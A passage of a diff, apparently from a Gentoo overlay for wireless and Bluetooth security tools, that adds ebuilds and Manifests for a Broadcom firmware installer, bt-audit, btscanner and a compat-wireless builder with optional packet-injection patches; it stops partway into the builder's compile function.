+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+DESCRIPTION="Closed Broadcom Commercial Firmware Installer"
+HOMEPAGE="http://linuxwireless.org/en/users/Drivers/b43"
+SRC_URI=""
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE="+b43 +b43legacy +reload"
+
+DEPEND="<net-wireless/broadcom-firmware-downloader-0.2[b43?,b43legacy?]
+	net-wireless/b43-fwcutter"
+RDEPEND=""
+
+#add a check in src_prepare or something to check kernel versions. we don't care, but gentoo will and we like that.
+
+pkg_setup() {
+	ewarn "User action is installing the broadcom commercial firmware."
+	ewarn "Broadcom prohibits the distribution of firmware in a"
+	ewarn "usable form for Linux users."
+	epause 5
+}
+
+src_install() {
+	dodir /lib/firmware || die "failed to create /lib/firmware"
+	FIRMWARE_INSTALL_DIR="${D}/lib/firmware"
+	use b43 && b43-fwcutter -w "${FIRMWARE_INSTALL_DIR}" "${ROOT}"/lib/firmware/broadcom-unmodified/wl_apsta_mimo.o || die "failed to cut xxx firmware"
+	use b43legacy && b43-fwcutter -w "${FIRMWARE_INSTALL_DIR}" "${ROOT}"/lib/firmware/broadcom-unmodified/wl_apsta-3.130.20.0.o || die "failed to cut xxx firmware"
+}
+
+pkg_postinst(){
+	if use reload; then
+		isloaded() {
+			lsmod | grep -q "$1[^_-]"
+		}
+		isloaded b43 && modprobe -r b43 && sleep 2 && modprobe b43
+		isloaded b43legacy && modprobe -r b43legacy && sleep 2 && modprobe b43legacy
+
+		einfo "Your disgusting Broadcom now has its filthy closed source firmware. I hope you are happy."
+	else
+		einfo "You need to reload your b43* modules manually or set the reload use flag"
+	fi
+
+	ewarn "Firmware has been installed and is NOT permitted to be redistributed. Just don't do it."
+	epause 5
+}
diff --git a/net-wireless/broadcom-firmware-installer/broadcom-firmware-installer-0.2.ebuild b/net-wireless/broadcom-firmware-installer/broadcom-firmware-installer-0.2.ebuild
new file mode 100644
index 00000000..d099f282
--- /dev/null
+++ b/net-wireless/broadcom-firmware-installer/broadcom-firmware-installer-0.2.ebuild
@@ -0,0 +1,51 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+DESCRIPTION="Closed Broadcom Commercial Firmware Installer"
+HOMEPAGE="http://linuxwireless.org/en/users/Drivers/b43"
+SRC_URI=""
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE="+b43 +b43legacy +reload"
+
+DEPEND=">=net-wireless/broadcom-firmware-downloader-0.2[b43?,b43legacy?]
+	>=net-wireless/b43-fwcutter-015"
+RDEPEND=""
+
+#add a check in src_prepare or something to check kernel versions. we don't care, but gentoo will and we like that.
+
+pkg_setup() {
+	ewarn "User action is installing the broadcom commercial firmware."
+	ewarn "Broadcom prohibits the distribution of firmware in a"
+	ewarn "usable form for Linux users."
+	epause 5
+}
+
+src_install() {
+	dodir /lib/firmware || die "failed to create /lib/firmware"
+	FIRMWARE_INSTALL_DIR="${D}/lib/firmware"
+	use b43 && b43-fwcutter -w "${FIRMWARE_INSTALL_DIR}" "${ROOT}"/lib/firmware/broadcom-unmodified/wl_apsta.o || die "failed to cut xxx firmware"
+	use b43legacy && b43-fwcutter -w "${FIRMWARE_INSTALL_DIR}" "${ROOT}"/lib/firmware/broadcom-unmodified/wl_apsta-3.130.20.0.o || die "failed to cut xxx firmware"
+}
+
+pkg_postinst(){
+	if use reload; then
+		isloaded() {
+			lsmod | grep -q "$1[^_-]"
+		}
+		isloaded b43 && modprobe -r b43 && sleep 2 && modprobe b43
+		isloaded b43legacy && modprobe -r b43legacy && sleep 2 && modprobe b43legacy
+
+		einfo "Your disgusting Broadcom now has its filthy closed source firmware. I hope you are happy."
+	else
+		einfo "You need to reload your b43* modules manually or set the reload use flag"
+	fi
+
+	ewarn "Firmware has been installed and is NOT permitted to be redistributed. Just don't do it."
+	epause 5
+}
diff --git a/net-wireless/bt-audit/Manifest b/net-wireless/bt-audit/Manifest
new file mode 100644
index 00000000..eaebbef1
--- /dev/null
+++ b/net-wireless/bt-audit/Manifest
@@ -0,0 +1,2 @@
+DIST bt_audit-0.1.1.tar.gz 5770 RMD160 ba7faa5255e911c88130082cd2a6df60ccc12712 SHA1 70dd8fecf1d0f26376fb72771c2f4d059636cb9f SHA256 64a0a5e3f2e24edb5137946860b4a6326d9f309999da1623cb400ae49e7de76a
+EBUILD bt-audit-0.1.1-r1.ebuild 683 RMD160 41c6eb202814af48dcb044927541e654b17c4400 SHA1 c5f9423aa85cd7de512fbb2c9bd6a115999d6f80 SHA256 78d62c681eccd2aeb2f9caf5b478654a8a84257b102be007460ed2d8cb01fe55
diff --git a/net-wireless/bt-audit/bt-audit-0.1.1-r1.ebuild b/net-wireless/bt-audit/bt-audit-0.1.1-r1.ebuild
new file mode 100644
index 00000000..410db9ce
--- /dev/null
+++ b/net-wireless/bt-audit/bt-audit-0.1.1-r1.ebuild
@@ -0,0 +1,30 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /root/portage/net-wireless/btscanner/btscanner-2.1.ebuild,v 1.1.1.1 2006/03/09 22:54:57 grimmlin Exp $
+
+inherit eutils
+
+MY_P="${P/-/_}"
+
+DESCRIPTION="A small bluetooth audit suite"
+HOMEPAGE="http://www.betaversion.net/btdsd/"
+SRC_URI="http://www.betaversion.net/btdsd/download/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE=""
+
+RDEPEND="net-wireless/bluez"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}/${PN/-/_}"
+
+src_compile() {
+	cd src
+	emake || die "emake failed"
+}
+src_install() {
+	dobin src/psm_scan src/rfcomm_scan
+	dodoc CHANGELOG README THANKS
+}
diff --git a/net-wireless/btscanner/Manifest b/net-wireless/btscanner/Manifest
new file mode 100644
index 00000000..d6d07338
--- /dev/null
+++ b/net-wireless/btscanner/Manifest
@@ -0,0 +1,2 @@
+DIST btscanner-2.1.tar.bz2 442492 RMD160 ada5323aae528a017215c38ea5dd08ddeddc1b55 SHA1 9396bc977ea9b33ebf4f699628f0cdd66688529d SHA256 7fc6e81dc64bdfe8bbca23aea9cd74d7be5a29210ef9620704c180b1a0f929d0
+EBUILD btscanner-2.1-r4.ebuild 1101 RMD160 925515eeabdfe5842af83baeb4f6d50c22e87aa3 SHA1 c97a1f467127c07a3b1c335ab1996a69e43c3c8c SHA256 79c9298d2e0ec4baf854f5d3828030a91bbf3dc1a7481b6a40fadd53e3d8da1d
diff --git a/net-wireless/btscanner/btscanner-2.1-r4.ebuild b/net-wireless/btscanner/btscanner-2.1-r4.ebuild
new file mode 100644
index 00000000..d2abb5ad
--- /dev/null
+++ b/net-wireless/btscanner/btscanner-2.1-r4.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /root/portage/net-wireless/btscanner/btscanner-2.1.ebuild,v 1.1.1.1 2006/03/09 22:54:57 grimmlin Exp $
+
+EAPI=4
+
+inherit eutils autotools
+
+DESCRIPTION="A utility for bluetooth scanning and discovery"
+HOMEPAGE="http://www.pentest.co.uk/cgi-bin/viewcat.cgi?cat=downloads"
+SRC_URI="http://www.pentest.co.uk/src/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=" || ( net-wireless/bluez
+	      ( >=net-wireless/bluez-utils-2.15
+		>=net-wireless/bluez-libs-2.15 ) )
+	>=dev-libs/libxml2-2.6
+	>sys-libs/ncurses-5.4"
+
+src_prepare() {
+	sed -i -e 's/-Wimplicit-function-dec //g' configure.in
+	sed -i 's#-std=c99#-std=gnu99#g' configure.in
+	eautoreconf
+	sed -i -e '/dtd/ s:/usr/local/:/:' -e '/oui/ s:local/share:share/btscanner:' btscanner.xml
+}
+src_configure() {
+	econf --datadir="/usr/share/btscanner"
+}
+src_compile() {
+	emake || die "emake failed"
+}
+src_install() {
+	einstall datadir="${D}/usr/share/btscanner"
+	dodoc AUTHORS ChangeLog README NEWS TODO USAGE
+}
diff --git a/net-wireless/compat-wireless-builder/Manifest b/net-wireless/compat-wireless-builder/Manifest
new file mode 100644
index 00000000..ed4f0b92
--- /dev/null
+++ b/net-wireless/compat-wireless-builder/Manifest
@@ -0,0 +1,50 @@
+AUX 0001-ath5k-retain-promiscuous-setting.patch 1638 RMD160 4773f57d068f13c8aaa945ce849033e75fb9cde1 SHA1 eed362eecf29bdc9a2333348514956f5ae36ab48 SHA256 c125640e535c9add6422435f72f136f9d4eac4d3655598dccc9b6f2214a3a507
+AUX 4000_mac80211_2.6.28-rc4-wl_frag+ack_v3.patch 1063 RMD160 0b8d08feefbf0de9d532c73066fda755ffeaf6f9 SHA1 0eea3b55ed7cb436a1464d35345d329cc47a0137 SHA256 4ae0d3926ed563cb961df0d3236b321ad86698843a2a6df26476657c5e20dac0
+AUX 4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch 559 RMD160 f6fb33ff15e989e280f5a6f230f88a36a0284e3e SHA1 ef5fb0bc41a6a169d82a8c04eae07e94df68b807 SHA256 2c9222e0c6aaafabac091766c7e0a71442f0e9521ec1c65fc7024fbca60a3354
+AUX 4004_zd1211rw-2.6.28.patch 1412 RMD160 70c7cd8a8e03199b33c76ff16974d4a4980b846f SHA1 0bf4c9df519246ffbee94b7ffeb454b2408b8dfb SHA256 6696295acb2a8d12a33208525cba9ce8bd2971c9c0adaabb31debfa9ec15c7be
+AUX 4005_ath5k-frequency-expansion-2.6.30.patch 4838 RMD160 e175138fd025ef0750178146c0c038c1664557bb SHA1 99322fe5cdf1a8ded58f65267503fddc90c934be SHA256 563a1644c51804d6014be54a7ce26cd4db70991a4b75c4b66370ea9136d40467
+AUX 4007_ath5k-pass-failed-crc.patch 568 RMD160 1f38abc77887fc23b5f09b1ddd7e4159ab190e91 SHA1 22ecfbd59b4e7f1038ac9415003e182cddae8df2 SHA256 12e8549aa3fd85d83fc7c80ab2dbd4ed5a22ae446af6979bfbdd4a3c2d4e9fe6
+AUX 4012_openwrt-b43-disable_qos_when_openfw.patch 721 RMD160 cd67c2425cd5b29f637781652a49a951a9ffda21 SHA1 382947ee332836c43c4eeb32eb8358b88e18fd22 SHA256 f03374faa0d41a5dca7e20079d7a7bd59aebd309b56aa6c7f7108b596d3f0da2
+AUX 4013-runtime-enable-disable-of-mac80211-packet-injection.patch 1490 RMD160 53c728303c77b2ffd93917bceaaad6a38ee80236 SHA1 3b6aa934cf4c09deb8e93fcb08b10bfb1f6bdbb9 SHA256 88f997a54768feeb40a9f985e412e90e9fda2491f32cf6b078eb2a0a9f81e785
+AUX 4099-2.6.32-rc7-mac80211-security-fixes.patch 5951 RMD160 fb07610df222a12f81e66b4e69f35737ccf8003c SHA1 089a6ab27f14db15ce3b9280bd173f2cba124406 SHA256 61d0c5e5681f0fb20cf65925b49eeebf34d3b026906e052c086f1f17147a9359
+AUX WEXT-EXT-nuts.patch 3150 RMD160 a89ceb7e6f34e4b2be1b8c35ed8ed141c20a2f20 SHA1 d71520c21765fcec6f710970df40e1091d2feb75 SHA256 be6a5f2746ff6cf5963e95b1c7a895cc343c930de22a47e41b4ed0d24a60a6f0
+AUX ath9k_htc_ethtool_driver.patch 1242 RMD160 49838be1d386765166b357be2a3ac59746a4c850 SHA1 16cb804d64ce0ec21b509052bbd7004554147657 SHA256 b27463b3f6cfe64e6b09835e1a06bc3ae83207f6800710ff0c461a6bef363460
+AUX ath_ignore_eeprom.patch 2096 RMD160 87f268cfcf06115464b64377e5dd05bfc467203d SHA1 ffb607d19a8622f0a9ea11ee09269f0af2a1ea28 SHA256 def6985a8c1486bfe78c8cf72333f620d88730fc1c3116d016a03725a6ba2226
+AUX ath_regd_optional.patch 906 RMD160 5e5abcc041e1830b6aabef27d5cb83f99f6d8130 SHA1 e42973161cbde89cccdd04408c83b3cc5918202a SHA256 ebf117d071363e854505c18aef8c9af2652fd4a7b9cc5efe961cf5efb410dbd7
+AUX blinky.patch 357 RMD160 6c93e916efc56412f316076e836c1c5d98e58047 SHA1 e23568801309cdf2a01fa5be8cd3b9a3fcff5edd SHA256 1c2f0e18ecbcf2c07ba732671e77408326d2566d260f0252002c5698f9e65e30
+AUX channel-negative-one-maxim.patch 1021 RMD160 39a56a0fdc4c5932e507985c5a213b703ff8df7c SHA1 a611acdd7994b07b0b39417ef7a5a6ffc866a733 SHA256 19f7fc0753636c32026e444e23bd101bd21cfeb59661284678bf157dc35212f2
+AUX compat-chaos.patch 6187 RMD160 2b8477fbf8b8bde456c5c32a8146330232ae355f SHA1 7bd56bcb3c50eb6f22be7ec24b886ae70bf747cd SHA256 5e8c11b46bc8acf10a2ce8b934fec32662b57c003c99e5e0ca4717a8c6b19474
+AUX compat-sched.patch 286 RMD160 872abfe4be5a292e880a658d0cea7260897ad26e SHA1 18ee1ac6c838bfbf48a2124e701e780e2bb54c87 SHA256 675e1f877f076f7941dc89248a99b01508cf8a05255bd5a2e2a46c71b148f73e
+AUX driver-debug.patch 2801 RMD160 9f060be68ffa41d7db4c6dd2c46eaa7326f9b16d SHA1 fcde4a43b165d4dda201663c107c23e8db3afd43 SHA256 06a37359ac7129a6f7db2f4e7f72d67c1f7014fd0adf439a89d119415a4316c2
+AUX failed_ath5k-frequency-chaos-2.6.28.patch 5787 RMD160 978b39113ebdc4ec1543bd4379d4428431524cb6 SHA1 a1b9268aedeb0d9035fd13214fe465145f1c5334 SHA256 8e9e0888e890a2970274a7ba9d40d75e01ebaedb0e16700d8994b9ecfe921185
+AUX failed_ieee80211_inject-2.6.22.patch 772 RMD160 ff6f70125009e3cd151ad12d8c2f1aa9333f5556 SHA1 8a1773b86a2742a4ae63f61dda48231b10b591bf SHA256 7403780cd3df720439f54b6cad88a803aacc0260af8fbbab0cfa25e523ae2ae9
+AUX failed_linux-wlanng-kernel-2.6.28.patch 11623 RMD160 23d11bb21ba059b7a0d7a2c597e5ae8224670dde SHA1 8d8d11912160dd8b38b805c928ea746ff9192ba8 SHA256 fd4bd200617c5f28e3a0ae58e5fa02f80279ad98aafed6c2e3d5b249a9b617c6
+AUX failed_openembedded-orinoco-remove-all-which-are-in-hostap-HACK.patch 6606 RMD160 e479eb0e796aec521e2269d50e9ccc4426e1da55 SHA1 c76220bb8f3a118a224e555517b7e111603da47e SHA256 6b761693587871591fc0ce96273d37f769f61d28f637c1692d931300c4f04504
+AUX fix-typos-2.6.35_rc2.patch 704 RMD160 2d55dc2ddb46c8f2cb02b9d0e50efc6b7c6e626a SHA1 6c95de6b6c9c4275f1a89f295bbb78d4de34fb54 SHA256 8319c6e70cf5c7a9d6b43a0bd7699c67504584ddc1d6d70ba4bf87625d2bb1b2
+AUX fix-typos-2.6.36_rc5.patch 479 RMD160 96a03226c94134502766970b1272cee6e8c7a533 SHA1 c5f3e8a33048a41544d4ebba29294553aa60855f SHA256 8496796f97cd3074935623c59e155333164588f24556ab7c45bf3a3f71d20bb9
+AUX force-enable-new-ralink-2.6.38_rc3.patch 769 RMD160 1b73345479e4d36f1305fd8f82c7d89121f2c8a1 SHA1 a1a5e2905429f38cf5e23b3c3ec6ffafbb1c59eb SHA256 fcc7fa9a0f94776b263ac2215f7eb67c943840650a631dd9ca0171adce63dd74
+AUX force-enable-new-ralink-pci-2.6.36-rc5.patch 529 RMD160 f6d76a1db48cc227843fe1acf2e7b71121980f6d SHA1 15a43e4d69e4d317cc44ae5c29006b8946091111 SHA256 ed23620a9682c8023d5095007cdc0f7e2602e8d5e580faf446ad9189300ca17e
+AUX force-enable-new-ralink-pci.patch 371 RMD160 33206cfd78ff0c1e2694c7236915f4d74fd2875f SHA1 b6dd5ad0802c6186eca2b3da2e4afe3baea79456 SHA256 5ca2668bd930d2bba7eedbd78f2d538bf1a2ba3c8e1deb60af77580e66078a47
+AUX force-enable-new-ralink.patch 558 RMD160 4cc8c5d09d49fcc831b4895d05ec6a14d5e16e22 SHA1 d3cc6b53ac5ef6644702d0ae227ac67a4832d075 SHA256 b6a411562c8c0964d36817f4d276a8db2c3169d6044b648650eb8b742c2dc898
+AUX ipw2200-inject.2.6.36.patch 4139 RMD160 caac7cdd786c6779d136be13181cab0b845f392d SHA1 0cccb21cb5794c74e48d3354ca41eb2b8ae6dce6 SHA256 a23d46ba2183eca15b2afc9f88b1570589f51d67488cea5f514d534e218d6570
+AUX iwlwifi-5000-exp-firmware.patch 475 RMD160 939e0bdc5245cbe9a126bdda00024b507286fcc1 SHA1 61fa5d19079bac708ac29efc1ede9420ec6b651b SHA256 7e486f5d28cfaa50a98d486f6456c11bebae25f9dd7fd4b09fc8e9b12517efff
+AUX johill-negone-paul.patch 2987 RMD160 e5251606a8cfbbc639f71a20ea5ded98360f9804 SHA1 90283aaa5e7b99845dc694940ed70fecebb3b123 SHA256 0bcc6aaf343f3faaad09da3abdbf4308985dfc084c4213d8acc32dd1c52aab29
+AUX johill-negone.patch 2972 RMD160 3b9055db9632483c2a6b940210718d6442e86dc9 SHA1 6af2da5949f6e425dd62f7a36019cdfaebff69fd SHA256 8acad1b386c6c849938a62a4d0216f8960f932ed3298a0f33739be39dce9fdc5
+AUX led-oops.patch 733 RMD160 50dc59a8893e7d77cf41653d8d39e5255dae8273 SHA1 9875b139e4111eb137cd1b43e3b68c85eb8915f5 SHA256 381f52b08f1b4c268fcc4ad88b0059d27b438bdab6acd4d54c882cc2505c99b9
+AUX leds-disable-strict.patch 1614 RMD160 9b256283c9e278426d218a99d59ec4d7c68fa426 SHA1 865a1d0221da08ae80dd014247292558a98a392e SHA256 58170c088e6d4d78be497d3efe808252df75d660b4ae1fa370d3bbd9ee6299f2
+AUX leds-disable.patch 1232 RMD160 5d82d47828e01462312ba3dd9cdc71564dc05f9a SHA1 1ca99516a1a6d92c7c45de6e5c5afefdacaa8c27 SHA256 55080ec9838b3eac1c06bb0b360374fa8170266ba0d85ceb1a88c7caef97ace0
+AUX linville-aircrack-ng.patch 1806 RMD160 d644d404cca4498e7ee1f0d70eb3d46f8a0cfeab SHA1 866718a4cbfaf052ba2c8ed34c1baf30eb2c1dd7 SHA256 d806d9eb1a402915fcf0daebc359902ea0ffbfc2303e2e77d38df2f2d8da215f
+AUX mac80211.compat08082009.wl_frag+ack_v1.patch 1049 RMD160 e864ee2e0c70ce344000baa8ee5fca3b23c3305a SHA1 85f7a1b141549b774f5631fba259bc414aeeffb8 SHA256 e04ed9997e1578cc1becd4ef9d9f2f6f606590aa91a56e42835963913e1b0f52
+AUX make-make.patch 500 RMD160 db6640b13120dc8fd46a3691aa046820af0a3f78 SHA1 bb4084ac7d74e8ecfffdd5301afe4e10d4720372 SHA256 b0fb357e356e655974dd2652c311f53d6ae32a096f0c7f96e61482a7f5acd7aa
+AUX orinoco-remove-all-which-are-in-hostap-OFFICIAL.patch 12945 RMD160 a9453bfccd20520dc592275b4dd90fe681f272fa SHA1 f032aa4c51360ba793d2a8bf5a393bbfe33b94fa SHA256 38705e63f5034052d48c50a29d5a8bf114a692ce6e76a53b73371180d0e0f14b
+AUX reinette-test2.patch 1460 RMD160 a38149b45787ad313a30716349c7e3c4590f5b69 SHA1 dd9e57593fb8955a8126478f4db430aa4f51800d SHA256 1de6d6ed109c4c9c23758c7eb02aeac2844f680cfc3c1e568c53f366cd3f4727
+AUX rtl8187-mac80211-injection-speed-2.6.30-rc3.patch 1179 RMD160 e06fc37c08ce457ebeef7a7eaae8a05fb8aa7513 SHA1 77281c04d0e451860f27d0f621955a77b5e133d6 SHA256 bf6846089eb3d8cf7ebe119b4ffd1c32f7075a98d403fc8f96a5b49017c385b6
+AUX super_secret_patch.diff 13499 RMD160 74c96addab52a869141e0791942357efbc230265 SHA1 49b8c23bd887bbb7656cd2146dba8fdbaac7d5fe SHA256 f4bd054b3348e98700e4481f50a1d809f2d2c89bfd24419b4d17e01bf6a0168e
+AUX ubnt-wifi-station-ext2.patch 1006 RMD160 986218c0099e2ea95347391cd09c69ad51fa0d5c SHA1 1e63718cfb7041dadba3500663a6cb7c9ac022f1 SHA256 c0ebdd30b5ef141e39977fd529a4bd3e6062b20984c0eb53836fa4b0fb6f4b1e
+AUX whynot-2.6.31.patch 4272 RMD160 74ec1c66cfb376cf2c83401aa3edcdbfdd019438 SHA1 18f5680625ad68ebba773c8f39a04edf6456e2f2 SHA256 a1839efde553fb6c78b7121f94a3dc5401c146f9ff3e017e61de1b0298f4b371
+AUX whynot-2.6.32.patch 666 RMD160 fcca9ac8d2152bebe51643a4250dffed383aae68 SHA1 5d7261437f5c98758f13c6c3f8a5676769b05013 SHA256 07cfc03d0ad5c47bec08d320afa63c79c0e6be9109dcf42b9811aad10bdc9c63
+AUX whynot.patch 4106 RMD160 ac38e8dbbe1a59607fe16b36f327a9ba73a001e7 SHA1 2208598c9f9811d368db099c863be2a2af11681e SHA256 956cf3a0a8b8e1f0f0e3df985e351799f325a44e4cddf042d677a9e8109b7c9e
+AUX wl1251-inject-2.6.37.patch 47143 RMD160 35cfb086e93ce041fa6d9a698c7e630013ca666c SHA1 526dfe86d2002dd0a2868f5793fc982bd677a340 SHA256 04660a1f7fb241aafeb7fba3a7791cc31fd74efa75fa73616b3abe6b39f89b36
+EBUILD compat-wireless-builder-3.3.6.ebuild 8113 RMD160 9cfa175372f4beea1055669639cec2cc53ee2fbc SHA1 12456a1a4c7ff807e3ca01323088ed7866061ae0 SHA256 0367b062bed074f066053f73244d55c7ad7b8fc1bcc14c2587c64416615339a7
+EBUILD compat-wireless-builder-3.4_rc3.ebuild 8115 RMD160 725faeef7ad458e24f9d4547152df2a93af85acc SHA1 70555c5929626726fea3b4829ce578dff41acffd SHA256 a6c70093e7a02e0698d07fcfe5e88380ae70193a6b0c827ec3dc53246b5e2ba3
+EBUILD compat-wireless-builder-3.4_rc7.ebuild 8115 RMD160 725faeef7ad458e24f9d4547152df2a93af85acc SHA1 70555c5929626726fea3b4829ce578dff41acffd SHA256 a6c70093e7a02e0698d07fcfe5e88380ae70193a6b0c827ec3dc53246b5e2ba3
diff --git a/net-wireless/compat-wireless-builder/compat-wireless-builder-3.3.6.ebuild b/net-wireless/compat-wireless-builder/compat-wireless-builder-3.3.6.ebuild
new file mode 100644
index 00000000..0ed43597
--- /dev/null
+++ b/net-wireless/compat-wireless-builder/compat-wireless-builder-3.3.6.ebuild
@@ -0,0 +1,217 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit git-2 linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+MY_PV=v${PV/_rc/-rc}
+MY_PVS=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="2"
+#SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PVS}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~arm x86"
+IUSE="+apply_cherrypicks +apply_crap +apply_stable apply_pending atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules +tarball noleds"
+
+DEPEND="!net-wireless/compat-wireless
+	apply_stable? ( dev-util/quilt )"
+RDEPEND="${DEPEND}
+	livecd? ( =sys-kernel/linux-firmware-99999999 )
+		!livecd? ( >=sys-kernel/linux-firmware-20110709 )
+		sys-fs/udev"
+
+#S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+S="${WORKDIR}/compat-wireless"
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_unpack() {
+	EGIT_REPO_URI="git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git"
+	EGIT_SOURCEDIR="${WORKDIR}/allstable"
+	EGIT_COMMIT="refs/tags/${MY_PV}"
+	git-2_src_unpack
+	unset EGIT_DIR
+	unset EGIT_COMMIT
+
+	EGIT_REPO_URI="git://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git"
+	EGIT_SOURCEDIR="${WORKDIR}/linux-next"
+	git-2_src_unpack
+	unset EGIT_DIR
+
+	EGIT_REPO_URI="git://github.com/mcgrof/compat.git"
+	EGIT_SOURCEDIR="${WORKDIR}/compat"
+	EGIT_BRANCH="linux-$(get_version_component_range 1).$(get_version_component_range 2).y"
+	git-2_src_unpack
+	unset EGIT_DIR
+	unset EGIT_BRANCH
+
+	EGIT_REPO_URI="git://github.com/mcgrof/compat-wireless.git"
+	EGIT_SOURCEDIR="${WORKDIR}/compat-wireless"
+	EGIT_BRANCH="linux-$(get_version_component_range 1).$(get_version_component_range 2).y"
+	git-2_src_unpack
+	unset EGIT_DIR
+	unset EGIT_BRANCH
+}
+
+src_prepare() {
+	use apply_cherrypicks && apply="${apply} -n"
+	use apply_pending && apply="${apply} -p"
+	use apply_stable && apply="${apply} -s"
+	use apply_crap && apply="${apply} -c"
+
+	#CAUTION: on this line GIT_TREE asks for linux-next but wants stable
+	GIT_TREE="${WORKDIR}/allstable" GIT_COMPAT_TREE="${WORKDIR}/compat" NEXT_TREE="${WORKDIR}/linux-next" scripts/admin-update.sh -s refresh || die
+	#CAUTION: but on this line GIT_TREE wants stable
+	GIT_TREE="${WORKDIR}/allstable" GIT_COMPAT_TREE="${WORKDIR}/compat" NEXT_TREE="${WORKDIR}/linux-next" scripts/admin-update.sh${apply} || die
+
+	if use tarball; then
+		rm -rf .git/
+		set_arch_to_kernel
+        	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build clean
+		find ./ -type f -name *.orig | xargs rm -f
+		find ./ -type f -name *.rej  | xargs rm -f
+		use apply_cherrypicks && applied="${applied}n"
+		use apply_pending && applied="${applied}p"
+		#use apply_stable && applied="${applied}s"
+		use apply_crap && applied="${applied}c"
+		if [ "${applied}" ]; then
+			applied="-${applied}"
+		fi
+		tar -Jcf "${WORKDIR}"/${P}${applied}.tar.xz "${WORKDIR}/compat-wireless/" || die
+	fi
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+}
+
+src_compile() {
